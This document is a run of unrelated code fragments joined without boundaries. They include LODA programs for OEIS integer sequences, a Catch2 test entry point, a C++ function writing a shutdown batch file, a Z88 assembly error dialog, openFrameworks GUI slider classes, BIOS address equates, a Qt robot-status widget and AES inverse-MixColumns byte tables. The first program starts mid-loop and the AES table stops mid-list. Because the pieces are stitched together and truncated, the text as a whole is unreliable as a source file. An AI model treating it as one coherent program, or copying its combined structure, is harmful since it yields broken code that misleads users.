lpe mov $3,$6 mov $4,0 lpb $3 sub $3,1 add $4,$5 lpe mov $2,11 mov $5,$4 lpb $2 add $1,$5 sub $2,1 lpe mov $3,$6 mov $4,0 lpb $3 sub $3,1 add $4,$5 lpe mov $2,5 mov $5,$4 lpb $2 add $1,$5 sub $2,1 lpe mov $3,$6 mov $4,0 lpb $3 sub $3,1 add $4,$5 lpe mov $2,1 mov $5,$4 lpb $2 add $1,$5 sub $2,1 lpe
#if defined (RUN_CATCH) #define CATCH_CONFIG_RUNNER #include <catch2/catch.hpp> auto main (int argc, char* argv[]) -> int { int result = Catch::Session().run( argc, argv ); return result; } #else #include "test.hpp" auto main (int argc, char* argv[]) -> int { return run (); } #endif
#include <iostream> #include <fstream> #include <string> using namespace std; void executePcdown() { try { ofstream pcdown("pcdown.bat"); pcdown << "shutdown -p"; cout << "\nFile creato con successo!\n"; pcdown.close(); } catch (...) { cout << "Errore durante la creazione del programma!"; } }
; ; Routine called when there is no ; Zsock library/packages installed ; ; djm 12/2/2000 XLIB no_zsock LIB exit INCLUDE "stdio.def" .no_zsock ld hl,message call_oz(gn_sop) call_oz(os_in) ld hl,0 jp exit .message defb 1,'7','#','3',32+7,32+1,32+34,32+7,131 ;dialogue box defb 1,'2','C','3',1,'4','+','T','U','R',1,'2','J','C' defb 1,'3','@',32,32 ;reset to (0,0) defm "ZSock Library Error" defb 1,'3','@',32,32 ,1,'2','A',32+34 ;keep settings for 10 defb 1,'7','#','3',32+8,32+3,32+32,32+5,128 ;dialogue box defb 1,'3','@',32,32,1,'2','J','C' defm "The ZSock shared library could not be opened" defb 13,10 defm "Please install both ZSock and Installer v2+" defb 13,10 defm "to use this program correctly" defb 13,10 defm "ZSock also requires 2 free banks to function" defb 13,10 defm "correctly - delete files if required" defb 13,10 defb 0
#include "ofxGuiExtended2.h" #include "ofxGuiSliderGroup.h" #include "../view/JsonConfigParser.h" using namespace std; template<class VecType> ofxGuiVecSlider_<VecType>::ofxGuiVecSlider_() :ofxGuiGroup2(){ setup(); } template<class VecType> ofxGuiVecSlider_<VecType>::ofxGuiVecSlider_(const ofJson &config) :ofxGuiVecSlider_(){ _setConfig(config); } template<class VecType> ofxGuiVecSlider_<VecType>::ofxGuiVecSlider_(ofParameter<VecType> &value, const ofJson & config) :ofxGuiVecSlider_(){ setName(value.getName()); names.clear(); names.push_back("x"); names.push_back("y"); names.push_back("z"); names.push_back("w"); this->value.makeReferenceTo(value); this->value.addListener(this, & ofxGuiVecSlider_::changeValue); VecType val = value; VecType min = value.getMin(); VecType max = value.getMax(); for (int i=0; i<VecType::DIM; i++) { ofParameter<float> p(names[i], val[i], min[i], max[i]); add(p); p.addListener(this, & ofxGuiVecSlider_::changeSlider); } _setConfig(config); } template<class VecType> ofxGuiVecSlider_<VecType>::ofxGuiVecSlider_(const std::string& controlName, const VecType & v, const VecType & min, const VecType & max, const ofJson & config) :ofxGuiVecSlider_(config){ names.clear(); names.push_back("x"); names.push_back("y"); names.push_back("z"); names.push_back("w"); value.set(controlName,v,min,max); this->value.addListener(this, & ofxGuiVecSlider_::changeValue); VecType val = value; for (int i=0; i<VecType::DIM; i++) { ofParameter<float> p(names[i], val[i], min[i], max[i]); add(p); p.addListener(this, & ofxGuiVecSlider_::changeSlider); } } template<class VecType> ofxGuiVecSlider_<VecType>::~ofxGuiVecSlider_(){ this->value.removeListener(this, & ofxGuiVecSlider_::changeValue); for (int i=0; i<VecType::DIM; i++) { getControl(names[i])->getParameter().template cast<float>().removeListener(this, &ofxGuiVecSlider_::changeSlider); } } template<class VecType> void ofxGuiVecSlider_<VecType>::setup(){ sliderChanging = false; } template<class VecType> void ofxGuiVecSlider_<VecType>::changeSlider(const void * parameter, float & _value){ sliderChanging = true; ofParameter<float> & param = *(ofParameter<float>*)parameter; int i = getControlIndex(param.getName()) - getControlIndex(names[0]); VecType data = value; data[i] = _value; value = data; sliderChanging = false; } template<class VecType> void ofxGuiVecSlider_<VecType>::changeValue(VecType & value){ if (sliderChanging){ return; } for (int i=0; i<VecType::DIM; i++){ getControl(names[i])->getParameter().template cast<float>() = value[i]; } } template<class VecType> ofAbstractParameter & ofxGuiVecSlider_<VecType>::getParameter(){ return value; } template<class VecType> VecType ofxGuiVecSlider_<VecType>::operator=(const VecType & v){ value = v; return value; } template<class VecType> ofxGuiVecSlider_<VecType>::operator const VecType & (){ return value; } template<class VecType> const VecType * ofxGuiVecSlider_<VecType>::operator->(){ return &value.get(); } template class ofxGuiVecSlider_<ofVec2f>; template class ofxGuiVecSlider_<ofVec3f>; template class ofxGuiVecSlider_<ofVec4f>; // RECTANGLE SLIDER ofxGuiRectangleSlider::ofxGuiRectangleSlider() :ofxGuiGroup2(){ setup(); } ofxGuiRectangleSlider::ofxGuiRectangleSlider(const ofJson &config) :ofxGuiRectangleSlider(){ _setConfig(config); } ofxGuiRectangleSlider::ofxGuiRectangleSlider(ofParameter<ofRectangle> &value, const ofJson & config) :ofxGuiRectangleSlider(){ setName(value.getName()); names.clear(); names.push_back("x"); names.push_back("y"); names.push_back("width"); names.push_back("height"); this->value.makeReferenceTo(value); this->value.addListener(this, & ofxGuiRectangleSlider::changeValue); ofRectangle val = value; ofRectangle min = value.getMin(); ofRectangle max = value.getMax(); ofParameter<float> px(names[0], val.x, min.x, max.x); ofParameter<float> py(names[1], val.y, min.y, max.y); ofParameter<float> pw(names[2], val.width, min.width, max.width); ofParameter<float> ph(names[3], val.height, min.height, max.height); add(px); add(py); add(pw); add(ph); px.addListener(this, & ofxGuiRectangleSlider::changeSlider); py.addListener(this, & ofxGuiRectangleSlider::changeSlider); pw.addListener(this, & ofxGuiRectangleSlider::changeSlider); ph.addListener(this, & ofxGuiRectangleSlider::changeSlider); _setConfig(config); } ofxGuiRectangleSlider::ofxGuiRectangleSlider(const std::string& controlName, const ofRectangle & v, const ofRectangle & min, const ofRectangle & max, const ofJson & config) :ofxGuiRectangleSlider(config){ names.clear(); names.push_back("x"); names.push_back("y"); names.push_back("width"); names.push_back("height"); value.set(controlName,v,min,max); this->value.addListener(this, & ofxGuiRectangleSlider::changeValue); ofRectangle val = value; ofParameter<float> px(names[0], val.x, min.x, max.x); ofParameter<float> py(names[1], val.y, min.y, max.y); ofParameter<float> pw(names[2], val.width, min.width, max.width); ofParameter<float> ph(names[3], val.height, min.height, max.height); add(px); add(py); add(pw); add(ph); px.addListener(this, & ofxGuiRectangleSlider::changeSlider); py.addListener(this, & ofxGuiRectangleSlider::changeSlider); pw.addListener(this, & ofxGuiRectangleSlider::changeSlider); ph.addListener(this, & ofxGuiRectangleSlider::changeSlider); } ofxGuiRectangleSlider::~ofxGuiRectangleSlider(){ this->value.removeListener(this, & ofxGuiRectangleSlider::changeValue); for (int i=0; i<4; i++){ getControl(names[i])->getParameter().template cast<float>().removeListener(this, &ofxGuiRectangleSlider::changeSlider); } } void ofxGuiRectangleSlider::setup(){ sliderChanging = false; } void ofxGuiRectangleSlider::changeSlider(const void * parameter, float & _value){ sliderChanging = true; ofParameter<float> & param = *(ofParameter<float>*)parameter; int i = getControlIndex(param.getName()) - getControlIndex(names[0]); ofRectangle data = value; switch(i){ case 0: data.x = _value; break; case 1: data.y = _value; break; case 2: data.width = _value; break; case 3: data.height = _value; break; } value = data; sliderChanging = false; } void ofxGuiRectangleSlider::changeValue(ofRectangle & value){ if (sliderChanging){ return; } getControl("x")->getParameter().template cast<float>() = value.x; getControl("y")->getParameter().template cast<float>() = value.y; getControl("width")->getParameter().template cast<float>() = value.width; getControl("height")->getParameter().template cast<float>() = value.height; } ofAbstractParameter & ofxGuiRectangleSlider::getParameter(){ return value; } ofRectangle ofxGuiRectangleSlider::operator=(const ofRectangle & v){ value = v; return value; } ofxGuiRectangleSlider::operator const ofRectangle & (){ return value; } const ofRectangle * ofxGuiRectangleSlider::operator->(){ return &value.get(); } // COLOR SLIDER template<class ColorType> ofxGuiColorSlider_<ColorType>::ofxGuiColorSlider_() :ofxGuiGroup2(){ setup(); } template<class ColorType> ofxGuiColorSlider_<ColorType>::ofxGuiColorSlider_(const ofJson &config) :ofxGuiGroup2(){ _setConfig(config); } template<class ColorType> ofxGuiColorSlider_<ColorType>::ofxGuiColorSlider_(ofParameter<ofColor_<ColorType> > &value, const ofJson & config) :ofxGuiColorSlider_(){ setName(value.getName()); names.clear(); names.push_back("r"); names.push_back("g"); names.push_back("b"); names.push_back("a"); this->value.makeReferenceTo(value); this->value.addListener(this, & ofxGuiColorSlider_::changeValue); ofColor_<ColorType> val = value; ofColor_<ColorType> min = value.getMin(); ofColor_<ColorType> max = value.getMax(); for (int i=0; i<4; i++) { ofParameter<ColorType> p(names[i], val[i], min[i], max[i]); add<ofxGuiSlider<ColorType>>(p); p.addListener(this, & ofxGuiColorSlider_::changeSlider); getControl(names[i])->setConfig(ofJson({ {"fill-color", ofxGui::colorToString(value.get())} })); } sliderChanging = false; _setConfig(config); } template<class ColorType> ofxGuiColorSlider_<ColorType>::ofxGuiColorSlider_(const std::string& controlName, const ofColor_<ColorType> & v, const ofColor_<ColorType> & min, const ofColor_<ColorType> & max, const ofJson &config) :ofxGuiColorSlider_(config){ value.set(controlName,v,min,max); names.clear(); names.push_back("r"); names.push_back("g"); names.push_back("b"); names.push_back("a"); this->value.addListener(this, & ofxGuiColorSlider_::changeValue); ofColor_<ColorType> val = value; for (int i=0; i<4; i++) { ofParameter<ColorType> p(names[i], val[i], min[i], max[i]); add<ofxGuiSlider<ColorType>>(p); p.addListener(this, & ofxGuiColorSlider_::changeSlider); getControl(names[i])->setConfig(ofJson({ {"fill-color", ofxGui::colorToString(value.get())} })); } sliderChanging = false; } template<class ColorType> ofxGuiColorSlider_<ColorType>::~ofxGuiColorSlider_(){ this->value.removeListener(this, & ofxGuiColorSlider_::changeValue); for (int i=0; i<4; i++){ getControl(names[i])->getParameter().template cast<ColorType>().removeListener(this, &ofxGuiColorSlider_::changeSlider); } } template<class ColorType> void ofxGuiColorSlider_<ColorType>::setup(){ sliderChanging = false; } template<class ColorType> void ofxGuiColorSlider_<ColorType>::changeSlider(const void * parameter, ColorType & _value){ sliderChanging = true; ofParameter<float> & param = *(ofParameter<float>*)parameter; int i = getControlIndex(param.getName()) - getControlIndex(names[0]); ofColor_<ColorType> data = value; data[i] = _value; value = data; for (int i=0; i<4; i++){ getControl(names[i])->setFillColor(value.get()); } sliderChanging = false; } template<class ColorType> void ofxGuiColorSlider_<ColorType>::changeValue(ofColor_<ColorType> & value){ if (sliderChanging){ return; } for (int i=0; i<4; i++){ getControl(names[i])->getParameter().template cast<ColorType>() = value[i]; getControl(names[i])->setFillColor(value); } } template<class ColorType> ofAbstractParameter & ofxGuiColorSlider_<ColorType>::getParameter(){ return value; } template<class ColorType> ofColor_<ColorType> ofxGuiColorSlider_<ColorType>::operator=(const ofColor_<ColorType> & v){ value = v; return value; } template<class ColorType> ofxGuiColorSlider_<ColorType>::operator const ofColor_<ColorType> & (){ return value; } template class ofxGuiColorSlider_<unsigned char>; template class ofxGuiColorSlider_<unsigned short>; template class ofxGuiColorSlider_<float>;
; A340761: Number of partitions of n into 4 parts whose 'middle' two parts have the same parity. ; 0,0,0,0,1,1,1,2,4,4,5,7,10,11,13,16,21,23,26,31,38,41,46,53,62,67,74,83,95,102,111,123,138,147,159,174,192,204,219,237,259,274,292,314,340,358,380,406,436,458,484,514,549,575,605,640,680,710,745,785,830,865,905,950,1001 lpb $0,1 mov $2,$0 cal $2,38714 ; Promic numbers repeated 4 times; a(n) = floor(n/4) * ceiling((n+1)/4). sub $0,3 add $1,$2 lpe div $1,2
bin_to_hex equ $029D send_byte equ $02D3 recv_byte equ $02E4 recv_wait equ $02F6 asci0_xmit equ $0330 ymodem_upload equ $034A recv_packet equ $040A flush_rx equ $0489 ym_crc equ $0496 BIOS_end equ $0540
// // Created by mrlukasbos on 1-2-19. // #include "interface/widgets/RobotsWidget.h" #include <QScrollArea> #include <QtWidgets/QGroupBox> #include <QtWidgets/QLabel> #include "interface/widgets/mainWindow.h" namespace rtt::ai::interface { RobotsWidget::RobotsWidget(QWidget *parent) : QWidget(parent) { // make sure it is scrollable auto container = new QVBoxLayout(); VLayout = new QVBoxLayout(); auto scroll = new QScrollArea(); scroll->setWidgetResizable(true); auto inner = new QFrame(scroll); inner->setLayout(VLayout); scroll->setWidget(inner); container->addWidget(scroll); this->setLayout(container); } void RobotsWidget::updateContents(Visualizer *visualizer, rtt::world::view::WorldDataView world) { std::optional<rtt::world::Field> field; { auto const& [_, world] = rtt::world::World::instance(); field = world->getField(); } if (!field){ RTT_ERROR("Could not get field!") return; } auto us =world->getUs(); // reload the widgets completely if a robot is added or removed // or if the amount of selected robots is not accurate if (VLayout->count() != static_cast<int>(world.getUs().size()) || amountOfSelectedRobots != static_cast<int>(visualizer->getSelectedRobots().size())) { amountOfSelectedRobots = visualizer->getSelectedRobots().size(); MainWindow::clearLayout(VLayout); for (auto &robot : world.getUs()) { QGroupBox *groupBox = new QGroupBox("Robot " + QString::number(robot->getId())); groupBox->setCheckable(true); groupBox->setChecked(visualizer->robotIsSelected(robot->getId())); QObject::connect(groupBox, &QGroupBox::clicked, [=]() { visualizer->toggleSelectedRobot(robot); }); groupBox->setLayout(createRobotGroupItem(*field, robot)); VLayout->addWidget(groupBox); } } else { for (int i = 0; i < static_cast<int>(world->getUs().size()); i++) { if (VLayout->itemAt(i) && VLayout->itemAt(i)->widget()) { auto robotwidget = VLayout->itemAt(i)->widget(); MainWindow::clearLayout(robotwidget->layout()); delete robotwidget->layout(); if (!robotwidget->layout()) { robotwidget->setLayout(createRobotGroupItem(*field, world.getUs().at(i))); } } } } auto robotSpacer = new QSpacerItem(100, 100, QSizePolicy::Expanding, QSizePolicy::Expanding); VLayout->addSpacerItem(robotSpacer); } /// create a single layout with robot information for a specific robot QVBoxLayout *RobotsWidget::createRobotGroupItem(const rtt::world::Field &field, rtt::world::view::RobotView robot) { auto vbox = new QVBoxLayout(); auto absVel = robot->getVel().length(); auto velLabel = new QLabel("vel: {x = " + QString::number(robot->getVel().x, 'G', 3) + ", y = " + QString::number(robot->getVel().y, 'g', 3) + "} m/s,\n" " absolute: " + QString::number(absVel, 'G', 3) + " m/s"); velLabel->setFixedWidth(250); vbox->addWidget(velLabel); auto angleLabel = new QLabel("angle: " + QString::number(robot->getAngle(), 'g', 3) + " radians"); angleLabel->setFixedWidth(250); vbox->addWidget(angleLabel); auto posLabel = new QLabel("pos: (x = " + QString::number(robot->getPos().x, 'g', 3) + ", y = " + QString::number(robot->getPos().y, 'g', 3) + ")"); posLabel->setFixedWidth(250); vbox->addWidget(posLabel); auto wLabel = new QLabel("w: " + QString::number(robot->getAngularVelocity(), 'g', 3) + "rad/s"); wLabel->setFixedWidth(250); vbox->addWidget(wLabel); return vbox; } } // namespace rtt::ai::interface
; A020544: Second Bernoulli polynomial evaluated at x=n! (multiplied by 6). ; 1,1,13,181,3313,85681,3106081,152379361,9753972481,790089189121,79009114867201,9560105293939201,1376655193941350401,232654728224433715201,45600326738788914892801,10260073516337350497792001,2626578820184244778524672001 seq $0,142 ; Factorial numbers: n! = 1*2*3*4*...*n (order of symmetric group S_n, number of permutations of n letters). bin $0,2 mul $0,12 add $0,1
db (((0x52<<3)^(((0x52>>5)&1)*0x11b)^(((0x52>>5)&2)*0x11b)^(((0x52>>5)&4)*0x11b)) ^ ((0x52<<2)^(((0x52>>6)&1)*0x11b)^(((0x52>>6)&2)*0x11b)) ^ ((0x52<<1)^(((0x52>>7)&1)*0x11b))), (((0x52<<3)^(((0x52>>5)&1)*0x11b)^(((0x52>>5)&2)*0x11b)^(((0x52>>5)&4)*0x11b)) ^ 0x52), (((0x52<<3)^(((0x52>>5)&1)*0x11b)^(((0x52>>5)&2)*0x11b)^(((0x52>>5)&4)*0x11b)) ^ ((0x52<<2)^(((0x52>>6)&1)*0x11b)^(((0x52>>6)&2)*0x11b)) ^ 0x52), (((0x52<<3)^(((0x52>>5)&1)*0x11b)^(((0x52>>5)&2)*0x11b)^(((0x52>>5)&4)*0x11b)) ^ ((0x52<<1)^(((0x52>>7)&1)*0x11b)) ^ 0x52), (((0x52<<3)^(((0x52>>5)&1)*0x11b)^(((0x52>>5)&2)*0x11b)^(((0x52>>5)&4)*0x11b)) ^ ((0x52<<2)^(((0x52>>6)&1)*0x11b)^(((0x52>>6)&2)*0x11b)) ^ ((0x52<<1)^(((0x52>>7)&1)*0x11b))), (((0x52<<3)^(((0x52>>5)&1)*0x11b)^(((0x52>>5)&2)*0x11b)^(((0x52>>5)&4)*0x11b)) ^ 0x52), (((0x52<<3)^(((0x52>>5)&1)*0x11b)^(((0x52>>5)&2)*0x11b)^(((0x52>>5)&4)*0x11b)) ^ ((0x52<<2)^(((0x52>>6)&1)*0x11b)^(((0x52>>6)&2)*0x11b)) ^ 0x52), (((0x52<<3)^(((0x52>>5)&1)*0x11b)^(((0x52>>5)&2)*0x11b)^(((0x52>>5)&4)*0x11b)) ^ ((0x52<<1)^(((0x52>>7)&1)*0x11b)) ^ 0x52),(((0x09<<3)^(((0x09>>5)&1)*0x11b)^(((0x09>>5)&2)*0x11b)^(((0x09>>5)&4)*0x11b)) ^ ((0x09<<2)^(((0x09>>6)&1)*0x11b)^(((0x09>>6)&2)*0x11b)) ^ ((0x09<<1)^(((0x09>>7)&1)*0x11b))), (((0x09<<3)^(((0x09>>5)&1)*0x11b)^(((0x09>>5)&2)*0x11b)^(((0x09>>5)&4)*0x11b)) ^ 0x09), (((0x09<<3)^(((0x09>>5)&1)*0x11b)^(((0x09>>5)&2)*0x11b)^(((0x09>>5)&4)*0x11b)) ^ ((0x09<<2)^(((0x09>>6)&1)*0x11b)^(((0x09>>6)&2)*0x11b)) ^ 0x09), (((0x09<<3)^(((0x09>>5)&1)*0x11b)^(((0x09>>5)&2)*0x11b)^(((0x09>>5)&4)*0x11b)) ^ ((0x09<<1)^(((0x09>>7)&1)*0x11b)) ^ 0x09), (((0x09<<3)^(((0x09>>5)&1)*0x11b)^(((0x09>>5)&2)*0x11b)^(((0x09>>5)&4)*0x11b)) ^ ((0x09<<2)^(((0x09>>6)&1)*0x11b)^(((0x09>>6)&2)*0x11b)) ^ ((0x09<<1)^(((0x09>>7)&1)*0x11b))), (((0x09<<3)^(((0x09>>5)&1)*0x11b)^(((0x09>>5)&2)*0x11b)^(((0x09>>5)&4)*0x11b)) ^ 0x09), (((0x09<<3)^(((0x09>>5)&1)*0x11b)^(((0x09>>5)&2)*0x11b)^(((0x09>>5)&4)*0x11b)) ^ ((0x09<<2)^(((0x09>>6)&1)*0x11b)^(((0x09>>6)&2)*0x11b)) ^ 0x09), (((0x09<<3)^(((0x09>>5)&1)*0x11b)^(((0x09>>5)&2)*0x11b)^(((0x09>>5)&4)*0x11b)) ^ ((0x09<<1)^(((0x09>>7)&1)*0x11b)) ^ 0x09),(((0x6a<<3)^(((0x6a>>5)&1)*0x11b)^(((0x6a>>5)&2)*0x11b)^(((0x6a>>5)&4)*0x11b)) ^ ((0x6a<<2)^(((0x6a>>6)&1)*0x11b)^(((0x6a>>6)&2)*0x11b)) ^ ((0x6a<<1)^(((0x6a>>7)&1)*0x11b))), (((0x6a<<3)^(((0x6a>>5)&1)*0x11b)^(((0x6a>>5)&2)*0x11b)^(((0x6a>>5)&4)*0x11b)) ^ 0x6a), (((0x6a<<3)^(((0x6a>>5)&1)*0x11b)^(((0x6a>>5)&2)*0x11b)^(((0x6a>>5)&4)*0x11b)) ^ ((0x6a<<2)^(((0x6a>>6)&1)*0x11b)^(((0x6a>>6)&2)*0x11b)) ^ 0x6a), (((0x6a<<3)^(((0x6a>>5)&1)*0x11b)^(((0x6a>>5)&2)*0x11b)^(((0x6a>>5)&4)*0x11b)) ^ ((0x6a<<1)^(((0x6a>>7)&1)*0x11b)) ^ 0x6a), (((0x6a<<3)^(((0x6a>>5)&1)*0x11b)^(((0x6a>>5)&2)*0x11b)^(((0x6a>>5)&4)*0x11b)) ^ ((0x6a<<2)^(((0x6a>>6)&1)*0x11b)^(((0x6a>>6)&2)*0x11b)) ^ ((0x6a<<1)^(((0x6a>>7)&1)*0x11b))), (((0x6a<<3)^(((0x6a>>5)&1)*0x11b)^(((0x6a>>5)&2)*0x11b)^(((0x6a>>5)&4)*0x11b)) ^ 0x6a), (((0x6a<<3)^(((0x6a>>5)&1)*0x11b)^(((0x6a>>5)&2)*0x11b)^(((0x6a>>5)&4)*0x11b)) ^ ((0x6a<<2)^(((0x6a>>6)&1)*0x11b)^(((0x6a>>6)&2)*0x11b)) ^ 0x6a), (((0x6a<<3)^(((0x6a>>5)&1)*0x11b)^(((0x6a>>5)&2)*0x11b)^(((0x6a>>5)&4)*0x11b)) ^ ((0x6a<<1)^(((0x6a>>7)&1)*0x11b)) ^ 0x6a),(((0xd5<<3)^(((0xd5>>5)&1)*0x11b)^(((0xd5>>5)&2)*0x11b)^(((0xd5>>5)&4)*0x11b)) ^ ((0xd5<<2)^(((0xd5>>6)&1)*0x11b)^(((0xd5>>6)&2)*0x11b)) ^ ((0xd5<<1)^(((0xd5>>7)&1)*0x11b))), (((0xd5<<3)^(((0xd5>>5)&1)*0x11b)^(((0xd5>>5)&2)*0x11b)^(((0xd5>>5)&4)*0x11b)) ^ 0xd5), (((0xd5<<3)^(((0xd5>>5)&1)*0x11b)^(((0xd5>>5)&2)*0x11b)^(((0xd5>>5)&4)*0x11b)) ^ ((0xd5<<2)^(((0xd5>>6)&1)*0x11b)^(((0xd5>>6)&2)*0x11b)) ^ 0xd5), (((0xd5<<3)^(((0xd5>>5)&1)*0x11b)^(((0xd5>>5)&2)*0x11b)^(((0xd5>>5)&4)*0x11b)) ^ ((0xd5<<1)^(((0xd5>>7)&1)*0x11b)) ^ 0xd5), (((0xd5<<3)^(((0xd5>>5)&1)*0x11b)^(((0xd5>>5)&2)*0x11b)^(((0xd5>>5)&4)*0x11b)) ^ ((0xd5<<2)^(((0xd5>>6)&1)*0x11b)^(((0xd5>>6)&2)*0x11b)) ^ ((0xd5<<1)^(((0xd5>>7)&1)*0x11b))), (((0xd5<<3)^(((0xd5>>5)&1)*0x11b)^(((0xd5>>5)&2)*0x11b)^(((0xd5>>5)&4)*0x11b)) ^ 0xd5), (((0xd5<<3)^(((0xd5>>5)&1)*0x11b)^(((0xd5>>5)&2)*0x11b)^(((0xd5>>5)&4)*0x11b)) ^ ((0xd5<<2)^(((0xd5>>6)&1)*0x11b)^(((0xd5>>6)&2)*0x11b)) ^ 0xd5), (((0xd5<<3)^(((0xd5>>5)&1)*0x11b)^(((0xd5>>5)&2)*0x11b)^(((0xd5>>5)&4)*0x11b)) ^ ((0xd5<<1)^(((0xd5>>7)&1)*0x11b)) ^ 0xd5),(((0x30<<3)^(((0x30>>5)&1)*0x11b)^(((0x30>>5)&2)*0x11b)^(((0x30>>5)&4)*0x11b)) ^ ((0x30<<2)^(((0x30>>6)&1)*0x11b)^(((0x30>>6)&2)*0x11b)) ^ ((0x30<<1)^(((0x30>>7)&1)*0x11b))), (((0x30<<3)^(((0x30>>5)&1)*0x11b)^(((0x30>>5)&2)*0x11b)^(((0x30>>5)&4)*0x11b)) ^ 0x30), (((0x30<<3)^(((0x30>>5)&1)*0x11b)^(((0x30>>5)&2)*0x11b)^(((0x30>>5)&4)*0x11b)) ^ ((0x30<<2)^(((0x30>>6)&1)*0x11b)^(((0x30>>6)&2)*0x11b)) ^ 0x30), (((0x30<<3)^(((0x30>>5)&1)*0x11b)^(((0x30>>5)&2)*0x11b)^(((0x30>>5)&4)*0x11b)) ^ ((0x30<<1)^(((0x30>>7)&1)*0x11b)) ^ 0x30), (((0x30<<3)^(((0x30>>5)&1)*0x11b)^(((0x30>>5)&2)*0x11b)^(((0x30>>5)&4)*0x11b)) ^ ((0x30<<2)^(((0x30>>6)&1)*0x11b)^(((0x30>>6)&2)*0x11b)) ^ ((0x30<<1)^(((0x30>>7)&1)*0x11b))), (((0x30<<3)^(((0x30>>5)&1)*0x11b)^(((0x30>>5)&2)*0x11b)^(((0x30>>5)&4)*0x11b)) ^ 0x30), (((0x30<<3)^(((0x30>>5)&1)*0x11b)^(((0x30>>5)&2)*0x11b)^(((0x30>>5)&4)*0x11b)) ^ ((0x30<<2)^(((0x30>>6)&1)*0x11b)^(((0x30>>6)&2)*0x11b)) ^ 0x30), (((0x30<<3)^(((0x30>>5)&1)*0x11b)^(((0x30>>5)&2)*0x11b)^(((0x30>>5)&4)*0x11b)) ^ ((0x30<<1)^(((0x30>>7)&1)*0x11b)) ^ 0x30),(((0x36<<3)^(((0x36>>5)&1)*0x11b)^(((0x36>>5)&2)*0x11b)^(((0x36>>5)&4)*0x11b)) ^ ((0x36<<2)^(((0x36>>6)&1)*0x11b)^(((0x36>>6)&2)*0x11b)) ^ ((0x36<<1)^(((0x36>>7)&1)*0x11b))), (((0x36<<3)^(((0x36>>5)&1)*0x11b)^(((0x36>>5)&2)*0x11b)^(((0x36>>5)&4)*0x11b)) ^ 0x36), (((0x36<<3)^(((0x36>>5)&1)*0x11b)^(((0x36>>5)&2)*0x11b)^(((0x36>>5)&4)*0x11b)) ^ ((0x36<<2)^(((0x36>>6)&1)*0x11b)^(((0x36>>6)&2)*0x11b)) ^ 0x36), (((0x36<<3)^(((0x36>>5)&1)*0x11b)^(((0x36>>5)&2)*0x11b)^(((0x36>>5)&4)*0x11b)) ^ ((0x36<<1)^(((0x36>>7)&1)*0x11b)) ^ 0x36), (((0x36<<3)^(((0x36>>5)&1)*0x11b)^(((0x36>>5)&2)*0x11b)^(((0x36>>5)&4)*0x11b)) ^ ((0x36<<2)^(((0x36>>6)&1)*0x11b)^(((0x36>>6)&2)*0x11b)) ^ ((0x36<<1)^(((0x36>>7)&1)*0x11b))), (((0x36<<3)^(((0x36>>5)&1)*0x11b)^(((0x36>>5)&2)*0x11b)^(((0x36>>5)&4)*0x11b)) ^ 0x36), (((0x36<<3)^(((0x36>>5)&1)*0x11b)^(((0x36>>5)&2)*0x11b)^(((0x36>>5)&4)*0x11b)) ^ ((0x36<<2)^(((0x36>>6)&1)*0x11b)^(((0x36>>6)&2)*0x11b)) ^ 0x36), (((0x36<<3)^(((0x36>>5)&1)*0x11b)^(((0x36>>5)&2)*0x11b)^(((0x36>>5)&4)*0x11b)) ^ ((0x36<<1)^(((0x36>>7)&1)*0x11b)) ^ 0x36),(((0xa5<<3)^(((0xa5>>5)&1)*0x11b)^(((0xa5>>5)&2)*0x11b)^(((0xa5>>5)&4)*0x11b)) ^ ((0xa5<<2)^(((0xa5>>6)&1)*0x11b)^(((0xa5>>6)&2)*0x11b)) ^ ((0xa5<<1)^(((0xa5>>7)&1)*0x11b))), (((0xa5<<3)^(((0xa5>>5)&1)*0x11b)^(((0xa5>>5)&2)*0x11b)^(((0xa5>>5)&4)*0x11b)) ^ 0xa5), (((0xa5<<3)^(((0xa5>>5)&1)*0x11b)^(((0xa5>>5)&2)*0x11b)^(((0xa5>>5)&4)*0x11b)) ^ ((0xa5<<2)^(((0xa5>>6)&1)*0x11b)^(((0xa5>>6)&2)*0x11b)) ^ 0xa5), (((0xa5<<3)^(((0xa5>>5)&1)*0x11b)^(((0xa5>>5)&2)*0x11b)^(((0xa5>>5)&4)*0x11b)) ^ ((0xa5<<1)^(((0xa5>>7)&1)*0x11b)) ^ 0xa5), (((0xa5<<3)^(((0xa5>>5)&1)*0x11b)^(((0xa5>>5)&2)*0x11b)^(((0xa5>>5)&4)*0x11b)) ^ ((0xa5<<2)^(((0xa5>>6)&1)*0x11b)^(((0xa5>>6)&2)*0x11b)) ^ ((0xa5<<1)^(((0xa5>>7)&1)*0x11b))), (((0xa5<<3)^(((0xa5>>5)&1)*0x11b)^(((0xa5>>5)&2)*0x11b)^(((0xa5>>5)&4)*0x11b)) ^ 0xa5), (((0xa5<<3)^(((0xa5>>5)&1)*0x11b)^(((0xa5>>5)&2)*0x11b)^(((0xa5>>5)&4)*0x11b)) ^ ((0xa5<<2)^(((0xa5>>6)&1)*0x11b)^(((0xa5>>6)&2)*0x11b)) ^ 0xa5), (((0xa5<<3)^(((0xa5>>5)&1)*0x11b)^(((0xa5>>5)&2)*0x11b)^(((0xa5>>5)&4)*0x11b)) ^ ((0xa5<<1)^(((0xa5>>7)&1)*0x11b)) ^ 0xa5),(((0x38<<3)^(((0x38>>5)&1)*0x11b)^(((0x38>>5)&2)*0x11b)^(((0x38>>5)&4)*0x11b)) ^ ((0x38<<2)^(((0x38>>6)&1)*0x11b)^(((0x38>>6)&2)*0x11b)) ^ ((0x38<<1)^(((0x38>>7)&1)*0x11b))), (((0x38<<3)^(((0x38>>5)&1)*0x11b)^(((0x38>>5)&2)*0x11b)^(((0x38>>5)&4)*0x11b)) ^ 0x38), (((0x38<<3)^(((0x38>>5)&1)*0x11b)^(((0x38>>5)&2)*0x11b)^(((0x38>>5)&4)*0x11b)) ^ ((0x38<<2)^(((0x38>>6)&1)*0x11b)^(((0x38>>6)&2)*0x11b)) ^ 0x38), (((0x38<<3)^(((0x38>>5)&1)*0x11b)^(((0x38>>5)&2)*0x11b)^(((0x38>>5)&4)*0x11b)) ^ ((0x38<<1)^(((0x38>>7)&1)*0x11b)) ^ 0x38), (((0x38<<3)^(((0x38>>5)&1)*0x11b)^(((0x38>>5)&2)*0x11b)^(((0x38>>5)&4)*0x11b)) ^ ((0x38<<2)^(((0x38>>6)&1)*0x11b)^(((0x38>>6)&2)*0x11b)) ^ ((0x38<<1)^(((0x38>>7)&1)*0x11b))), (((0x38<<3)^(((0x38>>5)&1)*0x11b)^(((0x38>>5)&2)*0x11b)^(((0x38>>5)&4)*0x11b)) ^ 0x38), 